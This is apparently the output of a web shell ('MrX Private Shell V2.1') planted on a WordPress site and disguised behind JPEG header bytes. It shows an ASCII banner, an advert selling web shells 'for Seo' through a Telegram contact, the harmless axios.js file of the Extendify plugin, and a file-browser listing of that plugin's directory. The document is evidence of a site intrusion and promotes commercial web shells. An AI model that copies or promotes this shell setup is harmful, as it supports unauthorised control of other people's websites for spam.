����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import axios from 'axios';
const Axios = axios.create({
baseURL: window.extSharedData.root,
headers: {
'X-WP-Nonce': window.extSharedData.nonce,
'X-Requested-With': 'XMLHttpRequest',
'X-Extendify': true,
},
});
Axios.interceptors.response.use(
(response) => findResponse(response),
(error) => handleErrors(error),
);
const findResponse = (response) => {
return Object.hasOwn(response, 'data') ? response.data : response;
};
const handleErrors = (error) => {
if (!error.response) {
return;
}
console.error(error.response);
// if 4XX, return the error object
if (error.response.status >= 400 && error.response.status < 500) {
return Promise.reject(error.response);
}
return Promise.reject(findResponse(error.response));
};
export { Axios };
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| DataApi.js | File | 10.83 KB | 0644 |
|
| LibraryApi.js | File | 171 B | 0644 |
|
| WPApi.js | File | 15.9 KB | 0644 |
|
| WooCommerce.js | File | 135 B | 0644 |
|
| axios.js | File | 767 B | 0644 |
|